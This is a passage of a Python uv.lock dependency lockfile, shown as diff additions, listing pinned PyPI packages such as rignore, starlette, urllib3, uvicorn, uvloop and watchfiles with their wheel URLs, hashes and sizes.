"sha256:e47443de9b12fe569889bdbe020abe0e0b667516ee2ab435443f6d0869bd2804", size = 656184, upload-time = "2025-11-05T21:41:27.396Z" }, + { url = "https://files.pythonhosted.org/packages/9a/b9/1f5bd82b87e5550cd843ceb3768b4a8ef274eb63f29333cf2f29644b3d75/rignore-0.7.6-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:8e41be9fa8f2f47239ded8920cc283699a052ac4c371f77f5ac017ebeed75732", size = 882632, upload-time = "2025-11-05T20:42:44.063Z" }, + { url = "https://files.pythonhosted.org/packages/e9/6b/07714a3efe4a8048864e8a5b7db311ba51b921e15268b17defaebf56d3db/rignore-0.7.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6dc1e171e52cefa6c20e60c05394a71165663b48bca6c7666dee4f778f2a7d90", size = 820760, upload-time = "2025-11-05T20:42:27.885Z" }, + { url = "https://files.pythonhosted.org/packages/ac/0f/348c829ea2d8d596e856371b14b9092f8a5dfbb62674ec9b3f67e4939a9d/rignore-0.7.6-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ce2268837c3600f82ab8db58f5834009dc638ee17103582960da668963bebc5", size = 899044, upload-time = "2025-11-05T20:40:55.336Z" }, + { url = "https://files.pythonhosted.org/packages/f0/30/2e1841a19b4dd23878d73edd5d82e998a83d5ed9570a89675f140ca8b2ad/rignore-0.7.6-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:690a3e1b54bfe77e89c4bacb13f046e642f8baadafc61d68f5a726f324a76ab6", size = 874144, upload-time = "2025-11-05T20:41:10.195Z" }, + { url = "https://files.pythonhosted.org/packages/c2/bf/0ce9beb2e5f64c30e3580bef09f5829236889f01511a125f98b83169b993/rignore-0.7.6-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09d12ac7a0b6210c07bcd145007117ebd8abe99c8eeb383e9e4673910c2754b2", size = 1168062, upload-time = "2025-11-05T20:41:26.511Z" }, + { url = "https://files.pythonhosted.org/packages/b9/8b/571c178414eb4014969865317da8a02ce4cf5241a41676ef91a59aab24de/rignore-0.7.6-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a2b2b74a8c60203b08452479b90e5ce3dbe96a916214bc9eb2e5af0b6a9beb0", size = 942542, upload-time = "2025-11-05T20:41:41.838Z" }, + { url = "https://files.pythonhosted.org/packages/19/62/7a3cf601d5a45137a7e2b89d10c05b5b86499190c4b7ca5c3c47d79ee519/rignore-0.7.6-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8fc5a531ef02131e44359419a366bfac57f773ea58f5278c2cdd915f7d10ea94", size = 958739, upload-time = "2025-11-05T20:42:12.463Z" }, + { url = "https://files.pythonhosted.org/packages/5f/1f/4261f6a0d7caf2058a5cde2f5045f565ab91aa7badc972b57d19ce58b14e/rignore-0.7.6-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b7a1f77d9c4cd7e76229e252614d963442686bfe12c787a49f4fe481df49e7a9", size = 984138, upload-time = "2025-11-05T20:41:56.775Z" }, + { url = "https://files.pythonhosted.org/packages/2b/bf/628dfe19c75e8ce1f45f7c248f5148b17dfa89a817f8e3552ab74c3ae812/rignore-0.7.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ead81f728682ba72b5b1c3d5846b011d3e0174da978de87c61645f2ed36659a7", size = 1079299, upload-time = "2025-11-05T21:40:16.639Z" }, + { url = "https://files.pythonhosted.org/packages/af/a5/be29c50f5c0c25c637ed32db8758fdf5b901a99e08b608971cda8afb293b/rignore-0.7.6-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:12ffd50f520c22ffdabed8cd8bfb567d9ac165b2b854d3e679f4bcaef11a9441", size = 1139618, upload-time = "2025-11-05T21:40:34.507Z" }, + { url = "https://files.pythonhosted.org/packages/2a/40/3c46cd7ce4fa05c20b525fd60f599165e820af66e66f2c371cd50644558f/rignore-0.7.6-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:e5a16890fbe3c894f8ca34b0fcacc2c200398d4d46ae654e03bc9b3dbf2a0a72", size = 1117626, upload-time = "2025-11-05T21:40:51.494Z" }, + { url = "https://files.pythonhosted.org/packages/8c/b9/aea926f263b8a29a23c75c2e0d8447965eb1879d3feb53cfcf84db67ed58/rignore-0.7.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3abab3bf99e8a77488ef6c7c9a799fac22224c28fe9f25cc21aa7cc2b72bfc0b", size = 1128144, upload-time = "2025-11-05T21:41:09.169Z" }, + { url = "https://files.pythonhosted.org/packages/a4/f6/0d6242f8d0df7f2ecbe91679fefc1f75e7cd2072cb4f497abaab3f0f8523/rignore-0.7.6-cp314-cp314-win32.whl", hash = "sha256:eeef421c1782953c4375aa32f06ecae470c1285c6381eee2a30d2e02a5633001", size = 646385, upload-time = "2025-11-05T21:41:55.105Z" }, + { url = "https://files.pythonhosted.org/packages/d5/38/c0dcd7b10064f084343d6af26fe9414e46e9619c5f3224b5272e8e5d9956/rignore-0.7.6-cp314-cp314-win_amd64.whl", hash = "sha256:6aeed503b3b3d5af939b21d72a82521701a4bd3b89cd761da1e7dc78621af304", size = 725738, upload-time = "2025-11-05T21:41:39.736Z" }, + { url = "https://files.pythonhosted.org/packages/d9/7a/290f868296c1ece914d565757ab363b04730a728b544beb567ceb3b2d96f/rignore-0.7.6-cp314-cp314-win_arm64.whl", hash = "sha256:104f215b60b3c984c386c3e747d6ab4376d5656478694e22c7bd2f788ddd8304", size = 656008, upload-time = "2025-11-05T21:41:29.028Z" }, + { url = "https://files.pythonhosted.org/packages/ca/d2/3c74e3cd81fe8ea08a8dcd2d755c09ac2e8ad8fe409508904557b58383d3/rignore-0.7.6-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:bb24a5b947656dd94cb9e41c4bc8b23cec0c435b58be0d74a874f63c259549e8", size = 882835, upload-time = "2025-11-05T20:42:45.443Z" }, + { url = "https://files.pythonhosted.org/packages/77/61/a772a34b6b63154877433ac2d048364815b24c2dd308f76b212c408101a2/rignore-0.7.6-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5b1e33c9501cefe24b70a1eafd9821acfd0ebf0b35c3a379430a14df089993e3", size = 820301, upload-time = "2025-11-05T20:42:29.226Z" }, + { url = "https://files.pythonhosted.org/packages/71/30/054880b09c0b1b61d17eeb15279d8bf729c0ba52b36c3ada52fb827cbb3c/rignore-0.7.6-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bec3994665a44454df86deb762061e05cd4b61e3772f5b07d1882a8a0d2748d5", size = 897611, upload-time = "2025-11-05T20:40:56.475Z" }, + { url = "https://files.pythonhosted.org/packages/1e/40/b2d1c169f833d69931bf232600eaa3c7998ba4f9a402e43a822dad2ea9f2/rignore-0.7.6-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:26cba2edfe3cff1dfa72bddf65d316ddebf182f011f2f61538705d6dbaf54986", size = 873875, upload-time = "2025-11-05T20:41:11.561Z" }, + { url = "https://files.pythonhosted.org/packages/55/59/ca5ae93d83a1a60e44b21d87deb48b177a8db1b85e82fc8a9abb24a8986d/rignore-0.7.6-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ffa86694fec604c613696cb91e43892aa22e1fec5f9870e48f111c603e5ec4e9", size = 1167245, upload-time = "2025-11-05T20:41:28.29Z" }, + { url = "https://files.pythonhosted.org/packages/a5/52/cf3dce392ba2af806cba265aad6bcd9c48bb2a6cb5eee448d3319f6e505b/rignore-0.7.6-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48efe2ed95aa8104145004afb15cdfa02bea5cdde8b0344afeb0434f0d989aa2", size = 941750, upload-time = "2025-11-05T20:41:43.111Z" }, + { url = "https://files.pythonhosted.org/packages/ec/be/3f344c6218d779395e785091d05396dfd8b625f6aafbe502746fcd880af2/rignore-0.7.6-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dcae43eb44b7f2457fef7cc87f103f9a0013017a6f4e62182c565e924948f21", size = 958896, upload-time = "2025-11-05T20:42:13.784Z" }, + { url = "https://files.pythonhosted.org/packages/c9/34/d3fa71938aed7d00dcad87f0f9bcb02ad66c85d6ffc83ba31078ce53646a/rignore-0.7.6-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2cd649a7091c0dad2f11ef65630d30c698d505cbe8660dd395268e7c099cc99f", size = 983992, upload-time = "2025-11-05T20:41:58.022Z" }, + { url = "https://files.pythonhosted.org/packages/24/a4/52a697158e9920705bdbd0748d59fa63e0f3233fb92e9df9a71afbead6ca/rignore-0.7.6-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42de84b0289d478d30ceb7ae59023f7b0527786a9a5b490830e080f0e4ea5aeb", size = 1078181, upload-time = "2025-11-05T21:40:18.151Z" }, + { url = "https://files.pythonhosted.org/packages/ac/65/aa76dbcdabf3787a6f0fd61b5cc8ed1e88580590556d6c0207960d2384bb/rignore-0.7.6-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:875a617e57b53b4acbc5a91de418233849711c02e29cc1f4f9febb2f928af013", size = 1139232, upload-time = "2025-11-05T21:40:35.966Z" }, + { url = "https://files.pythonhosted.org/packages/08/44/31b31a49b3233c6842acc1c0731aa1e7fb322a7170612acf30327f700b44/rignore-0.7.6-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:8703998902771e96e49968105207719f22926e4431b108450f3f430b4e268b7c", size = 1117349, upload-time = "2025-11-05T21:40:53.013Z" }, + { url = "https://files.pythonhosted.org/packages/e9/ae/1b199a2302c19c658cf74e5ee1427605234e8c91787cfba0015f2ace145b/rignore-0.7.6-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:602ef33f3e1b04c1e9a10a3c03f8bc3cef2d2383dcc250d309be42b49923cabc", size = 1127702, upload-time = "2025-11-05T21:41:10.881Z" }, + { url = "https://files.pythonhosted.org/packages/fc/d3/18210222b37e87e36357f7b300b7d98c6dd62b133771e71ae27acba83a4f/rignore-0.7.6-cp314-cp314t-win32.whl", hash = "sha256:c1d8f117f7da0a4a96a8daef3da75bc090e3792d30b8b12cfadc240c631353f9", size = 647033, upload-time = "2025-11-05T21:42:00.095Z" }, + { url = "https://files.pythonhosted.org/packages/3e/87/033eebfbee3ec7d92b3bb1717d8f68c88e6fc7de54537040f3b3a405726f/rignore-0.7.6-cp314-cp314t-win_amd64.whl", hash = "sha256:ca36e59408bec81de75d307c568c2d0d410fb880b1769be43611472c61e85c96", size = 725647, upload-time = "2025-11-05T21:41:44.449Z" }, + { url = "https://files.pythonhosted.org/packages/79/62/b88e5879512c55b8ee979c666ee6902adc4ed05007226de266410ae27965/rignore-0.7.6-cp314-cp314t-win_arm64.whl", hash = "sha256:b83adabeb3e8cf662cabe1931b83e165b88c526fa6af6b3aa90429686e474896", size = 656035, upload-time = "2025-11-05T21:41:31.13Z" }, +] + +[[package]] +name = "sentry-sdk" +version = "2.58.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/b3/fb8291170d0e844173164709fc0fa0c221ed75a5da740c8746f2a83b4eb1/sentry_sdk-2.58.0.tar.gz", hash = "sha256:c1144d947352d54e5b7daa63596d9f848adf684989c06c4f5a659f0c85a18f6f", size = 438764, upload-time = "2026-04-13T17:23:26.265Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/eb/d875669993b762556ae8b2efd86219943b4c0864d22204d622a9aee3052b/sentry_sdk-2.58.0-py2.py3-none-any.whl", hash = "sha256:688d1c704ddecf382ea3326f21a67453d4caa95592d722b7c780a36a9d23109e", size = 460919, upload-time = "2026-04-13T17:23:24.675Z" }, +] + +[[package]] +name = "shellingham" +version = "1.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" }, +] + +[[package]] +name = "starlette" +version = "1.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/81/69/17425771797c36cded50b7fe44e850315d039f28b15901ab44839e70b593/starlette-1.0.0.tar.gz", hash = "sha256:6a4beaf1f81bb472fd19ea9b918b50dc3a77a6f2e190a12954b25e6ed5eea149", size = 2655289, upload-time = "2026-03-22T18:29:46.779Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/c9/584bc9651441b4ba60cc4d557d8a547b5aff901af35bda3a4ee30c819b82/starlette-1.0.0-py3-none-any.whl", hash = "sha256:d3ec55e0bb321692d275455ddfd3df75fff145d009685eb40dc91fc66b03d38b", size = 72651, upload-time = "2026-03-22T18:29:45.111Z" }, +] + +[[package]] +name = "typer" +version = "0.24.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "click" }, + { name = "rich" }, + { name = "shellingham" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/24/cb09efec5cc954f7f9b930bf8279447d24618bb6758d4f6adf2574c41780/typer-0.24.1.tar.gz", hash = "sha256:e39b4732d65fbdcde189ae76cf7cd48aeae72919dea1fdfc16593be016256b45", size = 118613, upload-time = "2026-02-21T16:54:40.609Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/91/48db081e7a63bb37284f9fbcefda7c44c277b18b0e13fbc36ea2335b71e6/typer-0.24.1-py3-none-any.whl", hash = "sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21f04e9aa84c9e", size = 56085, upload-time = "2026-02-21T16:54:41.616Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.44.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5e/da/6eee1ff8b6cbeed47eeb5229749168e81eb4b7b999a1a15a7176e51410c9/uvicorn-0.44.0.tar.gz", hash = "sha256:6c942071b68f07e178264b9152f1f16dfac5da85880c4ce06366a96d70d4f31e", size = 86947, upload-time = "2026-04-06T09:23:22.826Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b7/23/a5bbd9600dd607411fa644c06ff4951bec3a4d82c4b852374024359c19c0/uvicorn-0.44.0-py3-none-any.whl", hash = "sha256:ce937c99a2cc70279556967274414c087888e8cec9f9c94644dfca11bd3ced89", size = 69425, upload-time = "2026-04-06T09:23:21.524Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "httptools" }, + { name = "python-dotenv" }, + { name = "pyyaml" }, + { name = "uvloop", marker = "platform_python_implementation != 'PyPy' and sys_platform != 'cygwin' and sys_platform != 'win32'" }, + { name = "watchfiles" }, + { name = "websockets" }, +] + +[[package]] +name = "uvloop" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/f0/18d39dbd1971d6d62c4629cc7fa67f74821b0dc1f5a77af43719de7936a7/uvloop-0.22.1.tar.gz", hash = "sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f", size = 2443250, upload-time = "2025-10-16T22:17:19.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3d/ff/7f72e8170be527b4977b033239a83a68d5c881cc4775fca255c677f7ac5d/uvloop-0.22.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:fe94b4564e865d968414598eea1a6de60adba0c040ba4ed05ac1300de402cd42", size = 1359936, upload-time = "2025-10-16T22:16:29.436Z" }, + { url = "https://files.pythonhosted.org/packages/c3/c6/e5d433f88fd54d81ef4be58b2b7b0cea13c442454a1db703a1eea0db1a59/uvloop-0.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:51eb9bd88391483410daad430813d982010f9c9c89512321f5b60e2cddbdddd6", size = 752769, upload-time = "2025-10-16T22:16:30.493Z" }, + { url = "https://files.pythonhosted.org/packages/24/68/a6ac446820273e71aa762fa21cdcc09861edd3536ff47c5cd3b7afb10eeb/uvloop-0.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:700e674a166ca5778255e0e1dc4e9d79ab2acc57b9171b79e65feba7184b3370", size = 4317413, upload-time = "2025-10-16T22:16:31.644Z" }, + { url = "https://files.pythonhosted.org/packages/5f/6f/e62b4dfc7ad6518e7eff2516f680d02a0f6eb62c0c212e152ca708a0085e/uvloop-0.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7b5b1ac819a3f946d3b2ee07f09149578ae76066d70b44df3fa990add49a82e4", size = 4426307, upload-time = "2025-10-16T22:16:32.917Z" }, + { url = "https://files.pythonhosted.org/packages/90/60/97362554ac21e20e81bcef1150cb2a7e4ffdaf8ea1e5b2e8bf7a053caa18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e047cc068570bac9866237739607d1313b9253c3051ad84738cbb095be0537b2", size = 4131970, upload-time = "2025-10-16T22:16:34.015Z" }, + { url = "https://files.pythonhosted.org/packages/99/39/6b3f7d234ba3964c428a6e40006340f53ba37993f46ed6e111c6e9141d18/uvloop-0.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:512fec6815e2dd45161054592441ef76c830eddaad55c8aa30952e6fe1ed07c0", size = 4296343, upload-time = "2025-10-16T22:16:35.149Z" }, + { url = "https://files.pythonhosted.org/packages/89/8c/182a2a593195bfd39842ea68ebc084e20c850806117213f5a299dfc513d9/uvloop-0.22.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:561577354eb94200d75aca23fbde86ee11be36b00e52a4eaf8f50fb0c86b7705", size = 1358611, upload-time = "2025-10-16T22:16:36.833Z" }, + { url = "https://files.pythonhosted.org/packages/d2/14/e301ee96a6dc95224b6f1162cd3312f6d1217be3907b79173b06785f2fe7/uvloop-0.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1cdf5192ab3e674ca26da2eada35b288d2fa49fdd0f357a19f0e7c4e7d5077c8", size = 751811, upload-time = "2025-10-16T22:16:38.275Z" }, + { url = "https://files.pythonhosted.org/packages/b7/02/654426ce265ac19e2980bfd9ea6590ca96a56f10c76e63801a2df01c0486/uvloop-0.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e2ea3d6190a2968f4a14a23019d3b16870dd2190cd69c8180f7c632d21de68d", size = 4288562, upload-time = "2025-10-16T22:16:39.375Z" }, + { url = "https://files.pythonhosted.org/packages/15/c0/0be24758891ef825f2065cd5db8741aaddabe3e248ee6acc5e8a80f04005/uvloop-0.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0530a5fbad9c9e4ee3f2b33b148c6a64d47bbad8000ea63704fa8260f4cf728e", size = 4366890, upload-time = "2025-10-16T22:16:40.547Z" }, + { url = "https://files.pythonhosted.org/packages/d2/53/8369e5219a5855869bcee5f4d317f6da0e2c669aecf0ef7d371e3d084449/uvloop-0.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc5ef13bbc10b5335792360623cc378d52d7e62c2de64660616478c32cd0598e", size = 4119472, upload-time = "2025-10-16T22:16:41.694Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ba/d69adbe699b768f6b29a5eec7b47dd610bd17a69de51b251126a801369ea/uvloop-0.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1f38ec5e3f18c8a10ded09742f7fb8de0108796eb673f30ce7762ce1b8550cad", size = 4239051, upload-time = "2025-10-16T22:16:43.224Z" }, + { url = "https://files.pythonhosted.org/packages/90/cd/b62bdeaa429758aee8de8b00ac0dd26593a9de93d302bff3d21439e9791d/uvloop-0.22.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3879b88423ec7e97cd4eba2a443aa26ed4e59b45e6b76aabf13fe2f27023a142", size = 1362067, upload-time = "2025-10-16T22:16:44.503Z" }, + { url = "https://files.pythonhosted.org/packages/0d/f8/a132124dfda0777e489ca86732e85e69afcd1ff7686647000050ba670689/uvloop-0.22.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:4baa86acedf1d62115c1dc6ad1e17134476688f08c6efd8a2ab076e815665c74", size = 752423, upload-time = "2025-10-16T22:16:45.968Z" }, + { url = "https://files.pythonhosted.org/packages/a3/94/94af78c156f88da4b3a733773ad5ba0b164393e357cc4bd0ab2e2677a7d6/uvloop-0.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:297c27d8003520596236bdb2335e6b3f649480bd09e00d1e3a99144b691d2a35", size = 4272437, upload-time = "2025-10-16T22:16:47.451Z" }, + { url = "https://files.pythonhosted.org/packages/b5/35/60249e9fd07b32c665192cec7af29e06c7cd96fa1d08b84f012a56a0b38e/uvloop-0.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c1955d5a1dd43198244d47664a5858082a3239766a839b2102a269aaff7a4e25", size = 4292101, upload-time = "2025-10-16T22:16:49.318Z" }, + { url = "https://files.pythonhosted.org/packages/02/62/67d382dfcb25d0a98ce73c11ed1a6fba5037a1a1d533dcbb7cab033a2636/uvloop-0.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b31dc2fccbd42adc73bc4e7cdbae4fc5086cf378979e53ca5d0301838c5682c6", size = 4114158, upload-time = "2025-10-16T22:16:50.517Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/f1171b4a882a5d13c8b7576f348acfe6074d72eaf52cccef752f748d4a9f/uvloop-0.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:93f617675b2d03af4e72a5333ef89450dfaa5321303ede6e67ba9c9d26878079", size = 4177360, upload-time = "2025-10-16T22:16:52.646Z" }, + { url = "https://files.pythonhosted.org/packages/79/7b/b01414f31546caf0919da80ad57cbfe24c56b151d12af68cee1b04922ca8/uvloop-0.22.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:37554f70528f60cad66945b885eb01f1bb514f132d92b6eeed1c90fd54ed6289", size = 1454790, upload-time = "2025-10-16T22:16:54.355Z" }, + { url = "https://files.pythonhosted.org/packages/d4/31/0bb232318dd838cad3fa8fb0c68c8b40e1145b32025581975e18b11fab40/uvloop-0.22.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:b76324e2dc033a0b2f435f33eb88ff9913c156ef78e153fb210e03c13da746b3", size = 796783, upload-time = "2025-10-16T22:16:55.906Z" }, + { url = "https://files.pythonhosted.org/packages/42/38/c9b09f3271a7a723a5de69f8e237ab8e7803183131bc57c890db0b6bb872/uvloop-0.22.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:badb4d8e58ee08dad957002027830d5c3b06aea446a6a3744483c2b3b745345c", size = 4647548, upload-time = "2025-10-16T22:16:57.008Z" }, + { url = "https://files.pythonhosted.org/packages/c1/37/945b4ca0ac27e3dc4952642d4c900edd030b3da6c9634875af6e13ae80e5/uvloop-0.22.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b91328c72635f6f9e0282e4a57da7470c7350ab1c9f48546c0f2866205349d21", size = 4467065, upload-time = "2025-10-16T22:16:58.206Z" }, + { url = "https://files.pythonhosted.org/packages/97/cc/48d232f33d60e2e2e0b42f4e73455b146b76ebe216487e862700457fbf3c/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:daf620c2995d193449393d6c62131b3fbd40a63bf7b307a1527856ace637fe88", size = 4328384, upload-time = "2025-10-16T22:16:59.36Z" }, + { url = "https://files.pythonhosted.org/packages/e4/16/c1fd27e9549f3c4baf1dc9c20c456cd2f822dbf8de9f463824b0c0357e06/uvloop-0.22.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6cde23eeda1a25c75b2e07d39970f3374105d5eafbaab2a4482be82f272d5a5e", size = 4296730, upload-time = "2025-10-16T22:17:00.744Z" }, +] + +[[package]] +name = "watchfiles" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/c9/8869df9b2a2d6c59d79220a4db37679e74f807c559ffe5265e08b227a210/watchfiles-1.1.1.tar.gz", hash = "sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2", size = 94440, upload-time = "2025-10-14T15:06:21.08Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/74/d5/f039e7e3c639d9b1d09b07ea412a6806d38123f0508e5f9b48a87b0a76cc/watchfiles-1.1.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:8c89f9f2f740a6b7dcc753140dd5e1ab9215966f7a3530d0c0705c83b401bd7d", size = 404745, upload-time = "2025-10-14T15:04:46.731Z" }, + { url = "https://files.pythonhosted.org/packages/a5/96/a881a13aa1349827490dab2d363c8039527060cfcc2c92cc6d13d1b1049e/watchfiles-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd404be08018c37350f0d6e34676bd1e2889990117a2b90070b3007f172d0610", size = 391769, upload-time = "2025-10-14T15:04:48.003Z" }, + { url = "https://files.pythonhosted.org/packages/4b/5b/d3b460364aeb8da471c1989238ea0e56bec24b6042a68046adf3d9ddb01c/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8526e8f916bb5b9a0a777c8317c23ce65de259422bba5b31325a6fa6029d33af", size = 449374, upload-time = "2025-10-14T15:04:49.179Z" }, + { url = "https://files.pythonhosted.org/packages/b9/44/5769cb62d4ed055cb17417c0a109a92f007114a4e07f30812a73a4efdb11/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = 